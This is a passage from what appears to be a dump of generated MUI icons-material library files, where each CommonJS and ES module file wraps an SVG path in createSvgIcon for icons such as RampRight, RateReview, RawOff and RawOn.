    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 21h2V6.83l1.59 1.59L16 7l-4-4-4 4 1.41 1.41L11 6.83V9c0 4.27-4.03 7.13-6 8.27l1.46 1.46C8.37 17.56 9.9 16.19 11 14.7z\"\n}), 'RampRight');"
  },
  {
    "path": "packages/mui-icons-material/lib/RampRight.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 21h2V6.83l1.59 1.59L16 7l-4-4-4 4 1.41 1.41L11 6.83V9c0 4.27-4.03 7.13-6 8.27l1.46 1.46C8.37 17.56 9.9 16.19 11 14.7z\"\n}), 'RampRight');"
  },
  {
    "path": "packages/mui-icons-material/lib/RampRightOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 21h2V6.83l1.59 1.59L16 7l-4-4-4 4 1.41 1.41L11 6.83V9c0 4.27-4.03 7.13-6 8.27l1.46 1.46C8.37 17.56 9.9 16.19 11 14.7z\"\n}), 'RampRightOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RampRightOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 21h2V6.83l1.59 1.59L16 7l-4-4-4 4 1.41 1.41L11 6.83V9c0 4.27-4.03 7.13-6 8.27l1.46 1.46C8.37 17.56 9.9 16.19 11 14.7z\"\n}), 'RampRightOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RampRightRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 21c.55 0 1-.45 1-1V6.83l.88.88c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L12.7 3.71a.996.996 0 0 0-1.41 0L8.71 6.29c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l.88-.87V9c0 3.62-2.89 6.22-4.97 7.62-.52.35-.59 1.09-.14 1.53.33.33.87.4 1.26.13C8.74 17.22 10.04 16 11 14.69v5.3c0 .56.45 1.01 1 1.01\"\n}), 'RampRightRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RampRightRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 21c.55 0 1-.45 1-1V6.83l.88.88c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L12.7 3.71a.996.996 0 0 0-1.41 0L8.71 6.29c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l.88-.87V9c0 3.62-2.89 6.22-4.97 7.62-.52.35-.59 1.09-.14 1.53.33.33.87.4 1.26.13C8.74 17.22 10.04 16 11 14.69v5.3c0 .56.45 1.01 1 1.01\"\n}), 'RampRightRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RampRightSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 21h2V6.83l1.59 1.59L16 7l-4-4-4 4 1.41 1.41L11 6.83V9c0 4.27-4.03 7.13-6 8.27l1.46 1.46C8.37 17.56 9.9 16.19 11 14.7z\"\n}), 'RampRightSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RampRightSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 21h2V6.83l1.59 1.59L16 7l-4-4-4 4 1.41 1.41L11 6.83V9c0 4.27-4.03 7.13-6 8.27l1.46 1.46C8.37 17.56 9.9 16.19 11 14.7z\"\n}), 'RampRightSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RampRightTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 21h2V6.83l1.59 1.59L16 7l-4-4-4 4 1.41 1.41L11 6.83V9c0 4.27-4.03 7.13-6 8.27l1.46 1.46C8.37 17.56 9.9 16.19 11 14.7z\"\n}), 'RampRightTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RampRightTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 21h2V6.83l1.59 1.59L16 7l-4-4-4 4 1.41 1.41L11 6.83V9c0 4.27-4.03 7.13-6 8.27l1.46 1.46C8.37 17.56 9.9 16.19 11 14.7z\"\n}), 'RampRightTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RateReview.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2M6 14v-2.47l6.88-6.88c.2-.2.51-.2.71 0l1.77 1.77c.2.2.2.51 0 .71L8.47 14zm12 0h-7.5l2-2H18z\"\n}), 'RateReview');"
  },
  {
    "path": "packages/mui-icons-material/lib/RateReview.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2M6 14v-2.47l6.88-6.88c.2-.2.51-.2.71 0l1.77 1.77c.2.2.2.51 0 .71L8.47 14zm12 0h-7.5l2-2H18z\"\n}), 'RateReview');"
  },
  {
    "path": "packages/mui-icons-material/lib/RateReviewOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H5.17l-.59.59-.58.58V4h16zm-9.5-2H18v-2h-5.5zm3.86-5.87c.2-.2.2-.51 0-.71l-1.77-1.77c-.2-.2-.51-.2-.71 0L6 11.53V14h2.47z\"\n}), 'RateReviewOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RateReviewOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H5.17l-.59.59-.58.58V4h16zm-9.5-2H18v-2h-5.5zm3.86-5.87c.2-.2.2-.51 0-.71l-1.77-1.77c-.2-.2-.51-.2-.71 0L6 11.53V14h2.47z\"\n}), 'RateReviewOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RateReviewRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2M6 14v-2.47l6.88-6.88c.2-.2.51-.2.71 0l1.77 1.77c.2.2.2.51 0 .71L8.47 14zm11 0h-6.5l2-2H17c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'RateReviewRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RateReviewRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2M6 14v-2.47l6.88-6.88c.2-.2.51-.2.71 0l1.77 1.77c.2.2.2.51 0 .71L8.47 14zm11 0h-6.5l2-2H17c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'RateReviewRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RateReviewSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 2H2v20l4-4h16zM6 14v-2.47l6.88-6.88c.2-.2.51-.2.71 0l1.77 1.77c.2.2.2.51 0 .71L8.47 14zm12 0h-7.5l2-2H18z\"\n}), 'RateReviewSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RateReviewSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 2H2v20l4-4h16zM6 14v-2.47l6.88-6.88c.2-.2.51-.2.71 0l1.77 1.77c.2.2.2.51 0 .71L8.47 14zm12 0h-7.5l2-2H18z\"\n}), 'RateReviewSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RateReviewTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m4 17.17.59-.59.58-.58H20V4H4zM18 14h-7.5l2-2H18zM6 11.53l5.88-5.88c.2-.2.51-.2.71 0l1.77 1.77c.2.2.2.51 0 .71L8.47 14H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H5.17l-.59.59-.58.58V4h16zm-9.5-2H18v-2h-5.5zm3.86-5.87c.2-.2.2-.51 0-.71l-1.77-1.77c-.2-.2-.51-.2-.71 0L6 11.53V14h2.47z\"\n}, \"1\")], 'RateReviewTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RateReviewTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m4 17.17.59-.59.58-.58H20V4H4zM18 14h-7.5l2-2H18zM6 11.53l5.88-5.88c.2-.2.51-.2.71 0l1.77 1.77c.2.2.2.51 0 .71L8.47 14H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H5.17l-.59.59-.58.58V4h16zm-9.5-2H18v-2h-5.5zm3.86-5.87c.2-.2.2-.51 0-.71l-1.77-1.77c-.2-.2-.51-.2-.71 0L6 11.53V14h2.47z\"\n}, \"1\")], 'RateReviewTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RawOff.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17.15 14.32.59-2.36.76 3.04h1.48l1.5-6h-1.5l-.74 3-.74-3h-1.52l-.74 3-.74-3H14l.72 2.9zM1.39 4.22 6.17 9H3v6h1.5v-2h1.1l.9 2H8l-.9-2.1c.5-.3.9-.8.9-1.4v-.67l1.43 1.43L8.75 15h1.5l.38-1.5h.04l9.11 9.11 1.41-1.41L2.81 2.81zM6.5 11.5h-2v-1h2z\"\n}), 'RawOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/RawOff.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m17.15 14.32.59-2.36.76 3.04h1.48l1.5-6h-1.5l-.74 3-.74-3h-1.52l-.74 3-.74-3H14l.72 2.9zM1.39 4.22 6.17 9H3v6h1.5v-2h1.1l.9 2H8l-.9-2.1c.5-.3.9-.8.9-1.4v-.67l1.43 1.43L8.75 15h1.5l.38-1.5h.04l9.11 9.11 1.41-1.41L2.81 2.81zM6.5 11.5h-2v-1h2z\"\n}), 'RawOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/RawOffOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17.15 14.32.59-2.36.76 3.04h1.48l1.5-6h-1.5l-.74 3-.74-3h-1.52l-.74 3-.74-3H14l.72 2.9zM1.39 4.22 6.17 9H3v6h1.5v-2h1.1l.9 2H8l-.9-2.1c.5-.3.9-.8.9-1.4v-.67l1.43 1.43L8.75 15h1.5l.38-1.5h.04l9.11 9.11 1.41-1.41L2.81 2.81zM6.5 11.5h-2v-1h2z\"\n}), 'RawOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RawOffOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m17.15 14.32.59-2.36.76 3.04h1.48l1.5-6h-1.5l-.74 3-.74-3h-1.52l-.74 3-.74-3H14l.72 2.9zM1.39 4.22 6.17 9H3v6h1.5v-2h1.1l.9 2H8l-.9-2.1c.5-.3.9-.8.9-1.4v-.67l1.43 1.43L8.75 15h1.5l.38-1.5h.04l9.11 9.11 1.41-1.41L2.81 2.81zM6.5 11.5h-2v-1h2z\"\n}), 'RawOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RawOffRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.55 9c-.33 0-.63.23-.71.55l-.6 2.45-.56-2.26c-.1-.44-.49-.74-.94-.74s-.84.3-.94.74L16.24 12l-.6-2.45c-.08-.32-.37-.55-.71-.55-.47 0-.82.44-.71.9l.5 1.99 2.42 2.42c0-.01.01-.02.01-.03l.58-2.32.58 2.32c.12.42.5.72.93.72s.81-.3.92-.72l1.09-4.38c.12-.46-.23-.9-.7-.9M3.51 3.51a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41L6.17 9H4c-.55 0-1 .45-1 1v4.31c0 .38.31.69.69.69h.11c.38 0 .69-.31.69-.69V13h1.1l.72 1.59c.12.25.37.41.64.41.5 0 .83-.51.64-.97L7.1 12.9c.5-.3.9-.8.9-1.4v-.67l1.43 1.43-.45 1.84c-.12.46.23.9.7.9.33 0 .62-.23.7-.55l.24-.95h.04l8.4 8.4c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41zM6.5 11.5h-2v-1h2z\"\n}), 'RawOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RawOffRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.55 9c-.33 0-.63.23-.71.55l-.6 2.45-.56-2.26c-.1-.44-.49-.74-.94-.74s-.84.3-.94.74L16.24 12l-.6-2.45c-.08-.32-.37-.55-.71-.55-.47 0-.82.44-.71.9l.5 1.99 2.42 2.42c0-.01.01-.02.01-.03l.58-2.32.58 2.32c.12.42.5.72.93.72s.81-.3.92-.72l1.09-4.38c.12-.46-.23-.9-.7-.9M3.51 3.51a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41L6.17 9H4c-.55 0-1 .45-1 1v4.31c0 .38.31.69.69.69h.11c.38 0 .69-.31.69-.69V13h1.1l.72 1.59c.12.25.37.41.64.41.5 0 .83-.51.64-.97L7.1 12.9c.5-.3.9-.8.9-1.4v-.67l1.43 1.43-.45 1.84c-.12.46.23.9.7.9.33 0 .62-.23.7-.55l.24-.95h.04l8.4 8.4c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41zM6.5 11.5h-2v-1h2z\"\n}), 'RawOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RawOffSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17.15 14.32.59-2.36.76 3.04h1.48l1.5-6h-1.5l-.74 3-.74-3h-1.52l-.74 3-.74-3H14l.72 2.9zM1.39 4.22 6.17 9H3v6h1.5v-2h1.1l.9 2H8l-.9-2.1c.5-.3.9-.8.9-1.4v-.67l1.43 1.43L8.75 15h1.5l.38-1.5h.04l9.11 9.11 1.41-1.41L2.81 2.81zM6.5 11.5h-2v-1h2z\"\n}), 'RawOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RawOffSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m17.15 14.32.59-2.36.76 3.04h1.48l1.5-6h-1.5l-.74 3-.74-3h-1.52l-.74 3-.74-3H14l.72 2.9zM1.39 4.22 6.17 9H3v6h1.5v-2h1.1l.9 2H8l-.9-2.1c.5-.3.9-.8.9-1.4v-.67l1.43 1.43L8.75 15h1.5l.38-1.5h.04l9.11 9.11 1.41-1.41L2.81 2.81zM6.5 11.5h-2v-1h2z\"\n}), 'RawOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RawOffTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17.15 14.32.59-2.36.76 3.04h1.48l1.5-6h-1.5l-.74 3-.74-3h-1.52l-.74 3-.74-3H14l.72 2.9zM1.39 4.22 6.17 9H3v6h1.5v-2h1.1l.9 2H8l-.9-2.1c.5-.3.9-.8.9-1.4v-.67l1.43 1.43L8.75 15h1.5l.38-1.5h.04l9.11 9.11 1.41-1.41L2.81 2.81zM6.5 11.5h-2v-1h2z\"\n}), 'RawOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RawOffTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m17.15 14.32.59-2.36.76 3.04h1.48l1.5-6h-1.5l-.74 3-.74-3h-1.52l-.74 3-.74-3H14l.72 2.9zM1.39 4.22 6.17 9H3v6h1.5v-2h1.1l.9 2H8l-.9-2.1c.5-.3.9-.8.9-1.4v-.67l1.43 1.43L8.75 15h1.5l.38-1.5h.04l9.11 9.11 1.41-1.41L2.81 2.81zM6.5 11.5h-2v-1h2z\"\n}), 'RawOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RawOn.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.5 9H3v6h1.5v-2h1.1l.9 2H8l-.9-2.1c.5-.3.9-.8.9-1.4v-1C8 9.7 7.3 9 6.5 9m0 2.5h-2v-1h2zM10.25 9l-1.5 6h1.5l.38-1.5h1.75l.37 1.5h1.5l-1.5-6zm.75 3 .25-1h.5l.25 1zm8.98-3-.74 3-.74-3h-1.52l-.74 3-.74-3H14l1.5 6h1.48l.76-3.04.76 3.04h1.48l1.5-6z\"\n}), 'RawOn');"
  },
  {
    "path": "packages/mui-icons-material/lib/RawOn.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.5 9H3v6h1.5v-2h1.1l.9 2H8l-.9-2.1c.5-.3.9-.8.9-1.4v-1C8 9.7 7.3 9 6.5 9m0 2.5h-2v-1h2zM10.25 9l-1.5 6h1.5l.38-1.5h1.75l.37 1.5h1.5l-1.5-6zm.75 3 .25-1h.5l.25 1zm8.98-3-.74 3-.74-3h-1.52l-.74 3-.74-3H14l1.5 6h1.48l.76-3.04.76 3.04h1.48l1.5-6z\"\n}), 'RawOn');"
  },
  {
    "path": "packages/mui-icons-material/lib/RawOnOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.5 9H3v6h1.5v-2h1.1l.9 2H8l-.9-2.1c.5-.3.9-.8.9-1.4v-1C8 9.7 7.3 9 6.5 9m0 2.5h-2v-1h2zM10.25 9l-1.5 6h1.5l.38-1.5h1.75l.37 1.5h1.5l-1.5-6zm.75 3 .25-1h.5l.25 1zm8.98-3-.74 3-.74-3h-1.52l-.74 3-.74-3H14l1.5 6h1.48l.76-3.04.76 3.04h1.48l1.5-6z\"\n}), 'RawOnOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RawOnOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.5 9H3v6h1.5v-2h1.1l.9 2H8l-.9-2.1c.5-.3.9-.8.9-1.4v-1C8 9.7 7.3 9 6.5 9m0 2.5h-2v-1h2zM10.25 9l-1.5 6h1.5l.38-1.5h1.75l.37 1.5h1.5l-1.5-6zm.75 3 .25-1h.5l.25 1zm8.98-3-.74 3-.74-3h-1.52l-.74 3-.74-3H14l1.5 6h1.48l.76-3.04.76 3.04h1.48l1.5-6z\"\n}), 'RawOnOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RawOnRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.5 9H4c-.55 0-1 .45-1 1v4.31c0 .38.31.69.69.69h.11c.38 0 .69-.31.69-.69V13h1.1l.72 1.59c.12.25.37.41.64.41.5 0 .83-.51.64-.97L7.1 12.9c.5-.3.9-.8.9-1.4v-1C8 9.68 7.32 9 6.5 9m0 2.5h-2v-1h2zm5-2.5c-.73 0-1.37.5-1.55 1.21l-.97 3.89c-.12.46.23.9.7.9.33 0 